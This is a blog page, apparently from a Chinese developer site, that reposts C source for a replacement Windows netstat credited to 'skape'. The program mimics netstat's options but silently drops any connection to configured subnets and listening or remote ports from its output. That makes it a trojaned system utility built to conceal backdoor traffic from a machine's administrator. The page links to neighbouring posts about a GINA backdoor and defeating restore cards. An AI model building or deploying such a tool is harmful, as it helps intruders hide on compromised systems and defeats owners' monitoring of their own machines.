windows下netstat代码

AI权益加码!Claude Code、Cursor等20+工具免费用! 购周边限时加赠Coding Plan Lite,畅享主流AI工具!学习进阶更高效! 阅读详情

 

/ *author:skape
 
* compile with:
 
*
 
* cl /ML /W3 /GX /O1 netstat.c /link user32.lib iphlpapi.lib ws2_32.lib
 
*
 
*/
#include 
<stdlib.h>
#include 
<stdio.h>

#include 
<windows.h>
#include 
<iphlpapi.h>

/*
 * List of subnets and their respective netmasks that we wish to hide.
 * This array should always be terminated by a NULL subnet.
 
*/

struct {
 
const char *subnet;
 
const char *netmask; 
}
 hideSubnets[] = {
 
"1.2.3.0",  "255.255.255.0" },
 
{ NULL,    NULL     },
}
;

/*
 * Array of listening ports we wish to hide. 
 
*/

unsigned 
short hideListenPorts[] = {
 
12345
}
;

/*
 * Array of remote ports (ports the machine is connected to) that we wish to hide.
 
*/

unsigned 
short hideRemotePorts[] = {
 
12345
}
;

struct {

 unsigned 
char dontResolve;

 
struct {
  unsigned 
char allConnectAndListening;
  unsigned 
char ethernetStatistics;
  
char          specificProtocol[16];
  unsigned 
char routingTable;
  unsigned 
char perProtocolStatistics;
 }
 display;

 
int interval;

}
 netstat;

void displayEthernetStatistics();
void displayPerProtocolStatistics();
void displayRoutingTable();
void displayActiveConnections();
void displayHelp();

void resolveAddress(unsigned long addr, char *buf, unsigned long bufSize, unsigned char isSrcAddress);
void resolvePort(unsigned short port, char *buf, unsigned long bufSize, const char *proto);

int main(int argc, char **argv)
{
 
int x = 1, y, incrementX;
 WORD version;
 WSADATA data;

 version 
= MAKEWORD(22);

 
if (WSAStartup(version, &data) != 0)
  
return 0;

 memset(
&netstat, 0sizeof(netstat));

 strcpy(netstat.display.specificProtocol, 
"DEF-TCP");

 
if (argc > 1)
 
{
  unsigned 
char unknownArgument = 0;

  
for (x = 1; x < argc; x++)
  
{
   
if (argv[x][0== '-')
   
{
    incrementX 
= 0;

    
for (y = 1; y < (int)strlen(argv[x]); y++)
    
{
     
switch (argv[x][y])
     
{
      
case 'a':
       netstat.display.allConnectAndListening 
= 1;
       
break;
      
case 'e':
       netstat.display.ethernetStatistics 
= 1;
       
break;
      
case 'n':
       netstat.dontResolve 
= 1;
       
break;
      
case 'p':
       incrementX 
= 1;

       
if (x+1 == argc)
        memset(netstat.display.specificProtocol, 
0sizeof(netstat.display.specificProtocol));
       
else
       
{
        
if ((stricmp(argv[x+1], "tcp")) && (stricmp(argv[x+1], "udp")) && (stricmp(argv[x+1], "ip")))
         displayHelp();
        
else
         strncpy(netstat.display.specificProtocol, argv[x
+1], sizeof(netstat.display.specificProtocol)-1);
       }

       
break;
      
case 'r':
       netstat.display.routingTable 
= 1;
       
break;
      
case 's':
       netstat.display.perProtocolStatistics 
= 1;
       
break;
      
default:
       displayHelp();
       
break;
     }

    }

    
    
if (incrementX)
     x
++;
   }

   
else if (x != argc-1)
    displayHelp();
   
else
   
{
    netstat.interval 
= atoi(argv[x]);

    
if (!netstat.interval)
     displayHelp();
   }

  }

 }


 
while (1)
 
{
  
if (netstat.display.ethernetStatistics)
   displayEthernetStatistics();
  
if (netstat.display.perProtocolStatistics)
   displayPerProtocolStatistics();
  
if (netstat.display.routingTable)
   displayRoutingTable();

  
if ((!netstat.display.ethernetStatistics) && (!netstat.display.routingTable) && (!netstat.display.perProtocolStatistics))
   displayActiveConnections();

  
if (netstat.interval)
   SleepEx(netstat.interval 
* 1000, TRUE);
  
else
   
break;
 }


 WSACleanup();

 
return 0;
}


void displayEthernetStatistics()
{
 MIB_IFTABLE 
*ifTable = (MIB_IFTABLE *)malloc(sizeof(MIB_IFTABLE) * 24);
 DWORD ifTableSize 
= sizeof(MIB_IFTABLE) * 24, x;
 
struct {
  DWORD inBytes, outBytes;
  DWORD inUcastPkts, outUcastPkts;
  DWORD inNUcastPkts, outNUcastPkts;
  DWORD inDiscards, outDiscards;
  DWORD inErrors, outErrors;
  DWORD unknownProtocols;
 }
 interfaceStatistics;

 fprintf(stdout,
"Interface Statistics "
      
" "
      
"                        %11s %11s "
      
" ",
      
"Received""Sent");

 memset(
&interfaceStatistics, 0sizeof(interfaceStatistics));
 
 GetIfTable(ifTable, 
&ifTableSize, FALSE);

 
for (x = 0
   x 
< ifTable->dwNumEntries;
   x
++)
 
{
  interfaceStatistics.inBytes 
+= ifTable->table[x].dwInOctets;
  interfaceStatistics.outBytes 
+= ifTable->table[x].dwOutOctets;

  interfaceStatistics.inUcastPkts 
+= ifTable->table[x].dwInUcastPkts;
  interfaceStatistics.outUcastPkts 
+= ifTable->table[x].dwOutUcastPkts;
  
  interfaceStatistics.inNUcastPkts 
+= ifTable->table[x].dwInNUcastPkts;
  interfaceStatistics.outNUcastPkts 
+= ifTable->table[x].dwOutNUcastPkts;

  interfaceStatistics.inDiscards 
+= ifTable->table[x].dwInDiscards;
  interfaceStatistics.outDiscards 
+= ifTable->table[x].dwOutDiscards;
  
  interfaceStatistics.inErrors 
+= ifTable->table[x].dwInErrors;
  interfaceStatistics.outErrors 
+= ifTable->table[x].dwOutErrors;

  interfaceStatistics.unknownProtocols 
+= ifTable->table[x].dwInUnknownProtos; 
 }


 fprintf(stdout,
"Bytes                   %11lu %11lu ", interfaceStatistics.inBytes, interfaceStatistics.outBytes);
 fprintf(stdout,
"Unicast packets         %11lu %11lu ", interfaceStatistics.inUcastPkts, interfaceStatistics.outUcastPkts);
 fprintf(stdout,
"Non-unicast packets     %11lu %11lu ", interfaceStatistics.inNUcastPkts, interfaceStatistics.outNUcastPkts);
 fprintf(stdout,
"Discards                %11lu %11lu ", interfaceStatistics.inDiscards, interfaceStatistics.outDiscards);
 fprintf(stdout,
"Errors                  %11lu %11lu ", interfaceStatistics.inErrors, interfaceStatistics.outErrors);
 fprintf(stdout,
"Unknown protocols       %11lu ", interfaceStatistics.unknownProtocols);

 free(ifTable);
}


void displayPerProtocolStatistics()
{
 
int printAllStatistics = (!stricmp(netstat.display.specificProtocol,"DEF-TCP"))?1:0;

 
if ((printAllStatistics) || (!stricmp(netstat.display.specificProtocol,"IP")))
 
{
  MIB_IPSTATS ipStatistics;

  memset(
&ipStatistics, 0sizeof(MIB_IPSTATS));

  GetIpStatistics(
&ipStatistics); 

  fprintf(stdout,
" IP Statistics ");
 
  fprintf(stdout,
"  Packets Received                   = %lu ", ipStatistics.dwInReceives);
  fprintf(stdout,
"  Received Header Errors             = %lu ", ipStatistics.dwInHdrErrors);
  fprintf(stdout,
"  Received Address Errors            = %lu ", ipStatistics.dwInAddrErrors);
  fprintf(stdout,
"  Datagrams Forwarded                = %lu ", ipStatistics.dwForwDatagrams);
  fprintf(stdout,
"  Unknown Protocols Received         = %lu ", ipStatistics.dwInUnknownProtos);
  fprintf(stdout,
"  Received Packets Discarded         = %lu ", ipStatistics.dwInDiscards);
  fprintf(stdout,
"  Received Packets Delivered         = %lu ", ipStatistics.dwInDelivers);
  fprintf(stdout,
"  Output Requests                    = %lu ", ipStatistics.dwOutRequests);
  fprintf(stdout,
"  Routing Discards                   = %lu ", ipStatistics.dwRoutingDiscards);
  fprintf(stdout,
"  Discarded Output Packets           = %lu ", ipStatistics.dwOutDiscards);
  fprintf(stdout,
"  Output Packet No Route             = %lu ", ipStatistics.dwOutNoRoutes);
  fprintf(stdout,
"  Reassembly Required                = %lu ", ipStatistics.dwReasmReqds);
  fprintf(stdout,
"  Reassembly Successful              = %lu ", ipStatistics.dwReasmOks);
  fprintf(stdout,
"  Reassembly Failures                = %lu ", ipStatistics.dwReasmFails);
  fprintf(stdout,
"  Datagrams Successfully Fragmented  = %lu ", ipStatistics.dwFragOks);
  fprintf(stdout,
"  Datagrams Failing Fragmentation    = %lu ", ipStatistics.dwFragFails);
  fprintf(stdout,
"  Fragments Created                  = %lu ", ipStatistics.dwFragCreates);
 }

 
 
if ((printAllStatistics) || (!stricmp(netstat.display.specificProtocol,"ICMP")))
 
{
#define ICMP_IN(x,y) x.stats.icmpInStats.y
#define ICMP_OUT(x,y) x.stats.icmpOutStats.y

  MIB_ICMP icmpStatistics;

  memset(
&icmpStatistics, 0sizeof(MIB_ICMP));

  GetIcmpStatistics(
&icmpStatistics);

  fprintf(stdout,
" ICMP Statistics ");

  fprintf(stdout,
"                            Received Sent ");
  fprintf(stdout,
"  Messages                  %lu %lu ", ICMP_IN(icmpStatistics, dwMsgs), ICMP_OUT(icmpStatistics, dwMsgs));
  fprintf(stdout,
"  Errors                    %lu %lu ", ICMP_IN(icmpStatistics, dwErrors), ICMP_OUT(icmpStatistics, dwErrors));
  fprintf(stdout,
"  Destination Unreachable   %lu %lu ", ICMP_IN(icmpStatistics, dwDestUnreachs), ICMP_OUT(icmpStatistics, dwDestUnreachs));
  fprintf(stdout,
"  Time Exceeded             %lu %lu ", ICMP_IN(icmpStatistics, dwTimeExcds), ICMP_OUT(icmpStatistics, dwTimeExcds));
  fprintf(stdout,
"  Parameter Problems        %lu %lu ", ICMP_IN(icmpStatistics, dwParmProbs), ICMP_OUT(icmpStatistics, dwParmProbs));
  fprintf(stdout,
"  Source Quenches           %lu %lu ", ICMP_IN(icmpStatistics, dwSrcQuenchs), ICMP_OUT(icmpStatistics, dwSrcQuenchs));
  fprintf(stdout,
"  Redirects                 %lu %lu ", ICMP_IN(icmpStatistics, dwRedirects), ICMP_OUT(icmpStatistics, dwRedirects));
  fprintf(stdout,
"  Echos                     %lu %lu ", ICMP_IN(icmpStatistics, dwEchos), ICMP_OUT(icmpStatistics, dwEchos));
  fprintf(stdout,
"  Echo Replies              %lu %lu ", ICMP_IN(icmpStatistics, dwEchoReps), ICMP_OUT(icmpStatistics, dwEchoReps));
  fprintf(stdout,
"  Timestamps                %lu %lu ", ICMP_IN(icmpStatistics, dwTimestamps), ICMP_OUT(icmpStatistics, dwTimestamps));
  fprintf(stdout,
"  Timestamp Replies         %lu %lu ", ICMP_IN(icmpStatistics, dwTimestampReps), ICMP_OUT(icmpStatistics, dwTimestampReps));
  fprintf(stdout,
"  Address Masks             %lu %lu ", ICMP_IN(icmpStatistics, dwAddrMasks), ICMP_OUT(icmpStatistics, dwAddrMasks));
  fprintf(stdout,
"  Address Mask Replies      %lu %lu ", ICMP_IN(icmpStatistics, dwAddrMaskReps), ICMP_OUT(icmpStatistics, dwAddrMaskReps));
 }

 
 
if ((printAllStatistics) || (!stricmp(netstat.display.specificProtocol,"TCP")))
 
{
  MIB_TCPSTATS tcpStatistics;

  memset(
&tcpStatistics, 0sizeof(MIB_TCPSTATS));

  GetTcpStatistics(
&tcpStatistics);

  fprintf(stdout,
" TCP Statistics ");
  fprintf(stdout,
"  Active Opens                        = %lu ", tcpStatistics.dwActiveOpens);
  fprintf(stdout,
"  Passive Opens                       = %lu ", tcpStatistics.dwPassiveOpens);
  fprintf(stdout,
"  Failed Connection Attempts          = %lu ", tcpStatistics.dwAttemptFails);
  fprintf(stdout,
"  Reset Connections                   = %lu ", tcpStatistics.dwEstabResets);
  fprintf(stdout,
"  Current Connections                 = %lu ", tcpStatistics.dwCurrEstab);
  fprintf(stdout,
"  Segments Received                   = %lu ", tcpStatistics.dwInSegs);
  fprintf(stdout,
"  Segments Sent                       = %lu ", tcpStatistics.dwOutSegs);
  fprintf(stdout,
"  Segments Retransmitted              = %lu ", tcpStatistics.dwRetransSegs);
 }

 
 
if ((printAllStatistics) || (!stricmp(netstat.display.specificProtocol,"UDP")))
 
{
  MIB_UDPSTATS udpStatistics;

  memset(
&udpStatistics, 0sizeof(MIB_UDPSTATS));

  GetUdpStatistics(
&udpStatistics);

  fprintf(stdout,
" UDP Statistics ");
  fprintf(stdout,
"  Datagrams Received    = %lu ", udpStatistics.dwInDatagrams);
  fprintf(stdout,
"  No Ports              = %lu ", udpStatistics.dwNoPorts);
  fprintf(stdout,
"  Receive Errors        = %lu ", udpStatistics.dwInErrors);
  fprintf(stdout,
"  Datagrams Sent        = %lu ", udpStatistics.dwOutDatagrams);
 }

}


void displayRoutingTable()
{
 
/* 
  * Amazingly enough, this is what MS does.
  * 
  * .text:010017BB                 push    offset aRoutePrint ; "route print"
  * .text:010017C0                 call    ds:system
  
*/


 system(
"route print");
}


void displayActiveConnections()
{
 
char srcIpBuffer[128], dstIpBuffer[128], state[32], fullSrcBuffer[140], fullDstBuffer[140], localPortName[16], remotePortName[16];
 unsigned 
short localPort, remotePort;
 
int x, y, curr, breakOut = 0;

 srcIpBuffer[
sizeof(srcIpBuffer)-1= 0;
 dstIpBuffer[
sizeof(dstIpBuffer)-1= 0;

 fullSrcBuffer[
sizeof(fullSrcBuffer)-1= 0;
 fullDstBuffer[
sizeof(fullDstBuffer)-1= 0;

 localPortName[
sizeof(localPortName)-1= 0;
 remotePortName[
sizeof(remotePortName)-1= 0;

 fprintf(stdout,
" Active Connections "
      
"  Proto  Local Address          Foreign Address        State ");

 
if ((netstat.display.allConnectAndListening) || (!stricmp(netstat.display.specificProtocol, "DEF-TCP")) || (!stricmp(netstat.display.specificProtocol, "TCP")))
 
{
  DWORD tcpTableSize 
= sizeof(MIB_TCPTABLE) * 128;
  MIB_TCPTABLE 
*tcpTable = (MIB_TCPTABLE *)malloc(tcpTableSize);

  tcpTable
->dwNumEntries = 0;

  GetTcpTable(tcpTable, 
&tcpTableSize, TRUE);

  
for (x = 0
    x 
< (int)tcpTable->dwNumEntries;
    x
++)
  
{
   breakOut 
= 0;

   
if ((tcpTable->table[x].dwState == MIB_TCP_STATE_LISTEN) && (!netstat.display.allConnectAndListening))
    
continue;

   
/*
    * Hide subnet check.
    
*/

   
for (curr = 0;
     hideSubnets[curr].subnet;
     curr
++)
   
{
    DWORD currSubnet 
= inet_addr(hideSubnets[curr].subnet), currNetmask = inet_addr(hideSubnets[curr].netmask);

    
/*
     * If this hosts matches one of the hide subnets.
     
*/

    
if ((breakOut = ((currSubnet & currNetmask) == (tcpTable->table[x].dwRemoteAddr & currNetmask))))
     
break;       
   }


   
if (breakOut)
    
continue;

   
/*
    * Hide listen port check.
    
*/


   localPort 
= ntohs((unsigned short)(tcpTable->table[x].dwLocalPort & 0xFFFF));
   remotePort 
= ntohs((unsigned short)(tcpTable->table[x].dwRemotePort & 0xFFFF));

   
if (tcpTable->table[x].dwState == MIB_TCP_STATE_LISTEN)
   
{
    
for (curr = 0;
      curr 
< (sizeof(hideListenPorts) / sizeof(unsigned short));
      curr
++)
    
{
     
if ((breakOut = (localPort == hideListenPorts[curr])))
      
break;
    }

   }

   
else
   
{
    
/*
     * Hide remote ports check.
     
*/


    
for (curr = 0;
      curr 
< (sizeof(hideRemotePorts) / sizeof(unsigned short));
      curr
++)
    
{
     
if ((breakOut = (remotePort == hideRemotePorts[curr])))
      
break;
    }

   }


   
if (breakOut)
    
continue;

   resolveAddress(tcpTable
->table[x].dwLocalAddr, srcIpBuffer, sizeof(srcIpBuffer)-11);
   resolveAddress(tcpTable
->table[x].dwRemoteAddr, dstIpBuffer, sizeof(dstIpBuffer)-10);

   
switch (tcpTable->table[x].dwState)
   
{
    
case MIB_TCP_STATE_CLOSED:
     strcpy(state,
"CLOSED"); break;
    
case MIB_TCP_STATE_LISTEN:
     strcpy(state,
"LISTENING"); break;
    
case MIB_TCP_STATE_SYN_SENT:
     strcpy(state,
"SYN_SENT"); break;
    
case MIB_TCP_STATE_SYN_RCVD:
     strcpy(state,
"SYN_RCVD"); break;
    
case MIB_TCP_STATE_ESTAB:
     strcpy(state,
"ESTABLISHED"); break;
    
case MIB_TCP_STATE_FIN_WAIT1:
     strcpy(state,
"FIN_WAIT1"); break;
    
case MIB_TCP_STATE_FIN_WAIT2:
     strcpy(state,
"FIN_WAIT2"); break;
    
case MIB_TCP_STATE_CLOSE_WAIT:
     strcpy(state,
"CLOSE_WAIT"); break;
    
case MIB_TCP_STATE_CLOSING:
     strcpy(state,
"CLOSING"); break;
    
case MIB_TCP_STATE_LAST_ACK:
     strcpy(state,
"LAST_ACK"); break;
    
case MIB_TCP_STATE_TIME_WAIT:
     strcpy(state,
"TIME_WAIT"); break;
    
case MIB_TCP_STATE_DELETE_TCB:
     strcpy(state,
"DELETE_TCB"); break;
   }


   memset(fullSrcBuffer, 
0sizeof(fullSrcBuffer));
   memset(fullDstBuffer, 
0sizeof(fullDstBuffer));

   
if (tcpTable->table[x].dwState == MIB_TCP_STATE_LISTEN)
    remotePort 
= 0;

   resolvePort(localPort, localPortName, 
sizeof(localPortName)-1"TCP");
   resolvePort(remotePort, remotePortName, 
sizeof(remotePortName)-1"TCP");

   _snprintf(fullSrcBuffer, 
sizeof(fullSrcBuffer) - 1"%s:%s", srcIpBuffer, localPortName);
   _snprintf(fullDstBuffer, 
sizeof(fullDstBuffer) - 1"%s:%s", dstIpBuffer, remotePortName);

   
for (y = strlen(fullSrcBuffer); 
     y 
< 23;
     y
++)
    fullSrcBuffer[y] 
= ' ';
   
for (y = strlen(fullDstBuffer); 
     y 
< 23;
     y
++)
    fullDstBuffer[y] 
= ' ';

   
if (strlen(fullDstBuffer) >= 23)
    fprintf(stdout,
"  TCP    %23s%s  %s ", fullSrcBuffer, fullDstBuffer, state);
   
else
    fprintf(stdout,
"  TCP    %23s%s%s ", fullSrcBuffer, fullDstBuffer, state);
  }


  free(tcpTable);
 }


 
if ((netstat.display.allConnectAndListening) && (!stricmp(netstat.display.specificProtocol, "udp")))
 
{
  DWORD udpTableSize 
= sizeof(MIB_UDPTABLE) * 128;
  MIB_UDPTABLE 
*udpTable = (MIB_UDPTABLE *)malloc(udpTableSize);

  GetUdpTable(udpTable, 
&udpTableSize, TRUE);

  
for (x = 0;
    x 
< (int)udpTable->dwNumEntries;
    x
++)
  
{
   localPort 
= ntohs((unsigned short)(udpTable->table[x].dwLocalPort & 0xFFFF));

   
for (curr = 0;
     curr 
< (sizeof(hideListenPorts) / sizeof(unsigned short));
     curr
++)
   
{
    
if (localPort == hideListenPorts[curr])
     
continue;
   }


   resolveAddress(udpTable
->table[x].dwLocalAddr, srcIpBuffer, sizeof(srcIpBuffer)-11);

   memset(fullSrcBuffer, 
0sizeof(fullSrcBuffer));

   resolvePort(localPort, localPortName, 
sizeof(localPortName) - 1"UDP");

   _snprintf(fullSrcBuffer, 
sizeof(fullSrcBuffer) - 1"%s:%s", srcIpBuffer, localPortName);

   
for (y = strlen(fullSrcBuffer);
     y 
< 23;
     y
++)
    fullSrcBuffer[y] 
= ' ';

   fprintf(stdout,
"  UDP    %s*:* ", fullSrcBuffer);
  }


  free(udpTable);
 }

}


void resolveAddress(unsigned long addr, char *buf, unsigned long bufSize, unsigned char isSrcAddress)
{
 
struct hostent *h;
 unsigned 
long bufLength;

 bufLength 
= _snprintf(buf, bufSize, "%hi.%hi.%hi.%hi"
        ((unsigned 
char *)&addr)[0],
        ((unsigned 
char *)&addr)[1],
        ((unsigned 
char *)&addr)[2],
        ((unsigned 
char *)&addr)[3]);

 
if (netstat.dontResolve)
  
return;

 
if ((isSrcAddress) || (addr == 0))
 
{
  
char hostname[30];

  memset(hostname, 
030);

  
if (gethostname(hostname, sizeof(hostname) - 1== 0)
   strncpy(buf, hostname, bufSize);
 }

 
else if ((h = gethostbyaddr((const char *)&addr, 4, AF_INET)))
  strncpy(buf, h
->h_name, bufSize);
}


void resolvePort(unsigned short port, char *buf, unsigned long bufSize, const char *proto)
{
 
struct servent *sent;

 _snprintf(buf, bufSize, 
"%d", port);

 
if (netstat.dontResolve)
  
return;

 
if ((sent = getservbyport(htons(port), proto)))
  _snprintf(buf, bufSize, 
"%s", sent->s_name);
}


void displayHelp()
{
 fprintf(stdout,
" "
      
"Displays protocol statistics and current TCP/IP network connections. "
      
" "
      
"NETSTAT [-a] [-e] [-n] [-s] [-p proto] [-r] [interval] "
      
" "
      
"  -a            Displays all connections and listening ports. "
      
"  -e            Displays Ethernet statistics. This may be combined with the -s "
      
"                option. "
      
"  -n            Displays addresses and port numbers in numerical form. "
      
"  -p proto      Shows connections for the protocol specified by proto; proto "
      
"                may be TCP or UDP.  If used with the -s option to display "
      
"                per-protocol statistics, proto may be TCP, UDP, or IP. "
      
"  -r            Displays the routing table. "
      
"  -s            Displays per-protocol statistics.  By default, statistics are "
      
"                shown for TCP, UDP and IP; the -p option may be used to specify "
      
"                a subset of the default. "
      
"  interval      Redisplays selected statistics, pausing interval seconds "
      
"                between each display.  Press CTRL+C to stop redisplaying "
      
"                statistics.  If omitted, netstat will print the current "
      
"                configuration information once. "
      
" ");

 exit(
0);
}


代码实现的netstat程序 程序代码实现netstat,获取本地tcp、udp状态信息 立即下载

相关推荐

netstat -an 实现的源码

windows 中没有提供给我们可用的netstat -an 的源码,本人利用C++的函数实现了这一功能……

netstat工具源码剖析——网络诊断必备

netstat工具源码剖析 netstat是监控TCP/IP网络的工具,可以显示路由表、实际的网络连接以及每一个网络接口设备的状态信息。用于显示与IP、TCP、UDP和ICMP协议相关的统计数据,一般用于检验本机各端口的网络连接情况。 网上关于netstat工具使用的文章多如牛毛,但是针对工具剖析的却没有,一篇难找。古人说:工欲善其事必先利其器。那么...

weixin_33705053的博客 601

Windows下VC实现的类似Netstat命令查看端口开放情况的程序

Windows下VC实现的类似Netstat命令查看端口开放情况的程序。

netstat命令参数详解与http状态码

netstat命令参数 Linux netstat 命令用于显示网络状态。利用 netstat 指令可让你得知整个 Linux 系统的网络情况。 常用具体参数含义如下: -t或- -tcp 显示TCP传输协议的连线状况。 -u或- -udp 显示UDP传输协议的连线状况。 -n或- -numeric 直接使用IP地址,而不通过域名服务器。 -l或- -listening 显示监控中的服务器的Socket。 -a或- -all 显示所有连线中的Socket。 -p或- -programs 显示正在使用So

小螺号的博客 850

CMD命令下的netstat源码

#include "StdAfx.h" #include #include #include #include #include     #pragma comment(lib, "Iphlpapi.lib") #pragma comment(lib, "WS2_32.lib") typedef struct {     DWORD   dwState;

trents的专栏 2148

netstat查看端口占用情况

netstat命令怎么查看端口是否占用 转自:http://www.ahlinux.com/start/cmd/527.html netstat命令是一个监控TCP IP网络的非常有用的工具,...

guangod的博客 2786

windows和linux下使用命令查找端口对应的进程pid并杀死进程

Java代码 windows下命令,8080是要杀死进程的端口,这个命令自己查找端口对应的进程pid,然后kill Cmd代码 for/f"tokens=5"%ain('netstat-ao^|findstr8080')do@ta...

chenzhujiao9728的博客 121

cmd跑绿色代码_cmd装逼代码-cmd命令,装逼

本教程分享:《cmd装逼代码》如何使用命令提示符装逼事先声明,如果你不知道打开windows的命令行工具,我是绝对不会告诉你是用 windows+R ,然后键入cmd 打开的windows自带的命令行工具很强大,毕竟计算机一开始都是以键入命令的方式来操作的,但现如今计算机的发展,许多在过去需要去记大量命令才能完成的操作,现如今通过傻瓜式的点选都可以完成。作为一名有逼格的程序员,在计算机如今图形界面...

weixin_39667801的博客 2万+

windows批量杀端口进程

原理:这里很简单,就是走一个for循环。对于每一个端口通过netstat -aon 命令先拿到pid,之后by pid使用kill命令干掉进程。windows批量杀死端口的bat脚本。复制下面的代码段,保存为xxxx.bat,双击就可以执行。功能: 批量杀死端口对应的进程,例如下面就是干掉9002,9004,9008。

Sumtudou's blogs 1718

Nodejs关闭windows服务进程

1.根据端口号,查询进程信息命令: netstat -aon | findstr "端口号" 2.根据pid杀死进程命令: taskkill /F /pid 进程号 完整代码: const windowsServiceStop = function(port){ let netstat_command = 'netstat -aon ...

aiganxie2129的博客 835

VC实现的类似Windows Netstat命令查看开放端口的

摘要:VC/C++源码,系统相关,查看端口,Netstat VC实现的类似Windows Netstat命令查看开放端口的源码,并不是一个完整的程序。NPort.cpp : 显示端口及对应的文件名,相当于Netstat -noa命令. 适用于XP及较高级版本.所用的iphlpapi.dll中的函数原型定义,生成IP地址字符串。以下为与TCP相关的结构:   typedef struct tagMIB_TCPEXROW{   DWORD dwState; // 连接状态.   DWORD dwLocalAddr; // 本地计算机地址.   DWORD dwLocalPort; // 本地计算

netstat-master.zip

netstat源码实现

Windows下VC实现的类似Netstat命令查看端口开放情况的程序(Win7)

Windows 7 下VC实现的类似Netstat命令查看端口开放情况的程序。

linux收不到组播qt,Qt组播从Windows到Mac工作,但不是另一个

我使用一个实验项目来测试Qt组播。它就像一个本地网络中的简单聊天程序。我可以将消息从Windows发送到Mac,但不能从Mac发送到Windows。请参阅Multicast.cpp中的评论。Qt组播从Windows到Mac工作,但不是另一个他们都加入了预定义的组。我用一些硬编码的IP来找到相应的接口来绑定。我还使用netstat和netsh在两个平台上检查了多播组,并在两侧显示预定义的组。这不是防...

weixin_30141859的博客 745

Windows杀死占用端口和对应进程的批处理文件脚本

以后假如端口被占用,再也不用网上搜繁琐的端口查询和杀死进程命令了,打开这个批处理命令输入端口即可一秒解决该问题。

徐泗空的博客 501

Windows命令之netstat命令

netstat命令显示处于活动状态的 TCP 连接、计算机正在侦听的端口、以太网统计信息、IP 路由表、用于 IP、ICMP、TCP 和 UDP 协议的 IPv4 统计信息 () 和 ipv6 统计信息 (ipv6、ICMPv6、TCP over IPv6 和 UDP over IPv6 协议) 。 使用没有参数的情况下,此命令显示活动 TCP 连接。

月生的静心苑 1万+

PyCharm 中开发 Flask 应用时占用 5000 端口

按 Win + R 键,输入 cmd 回车,打开命令行窗口。

hzp666的博客 213

Windows 命令 netstat、telnet、Tasklist、Taskkill

目录 Tasklist 简述 使用格式 查看本机所有进程 根据pid查询指定进程 查看远程所有进程 Taskkill 简述 根据进程PID结束 根据进程图像名结束 /f 强制结束进程 /t 结束进程树 Tasklist 简述 1、"Tasklist"命令是一个用来显示运行在本地或远程计算机上的所有进程的命令行工具,带有多个执行参数。类似Linux系统的ps命令 2、显示...

蚩尤后裔-汪茂雄 4万+

Windows netstat 命令使用说明

Windowsnetstat命令是一个功能强大的网络诊断和监控工具,通过掌握其各种参数和用法,可以有效地排查网络问题、监控网络连接状态、检测端口占用情况以及提升网络安全性。结合其他命令和工具使用,可以进一步增强其功能,为网络管理提供全面支持。

2301_76326315的博客 1744
上一篇: GinaBackDoor简单实现
下一篇: 破解还原卡的方法总结!!
iiprogram
博客等级 码龄25年 1066粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值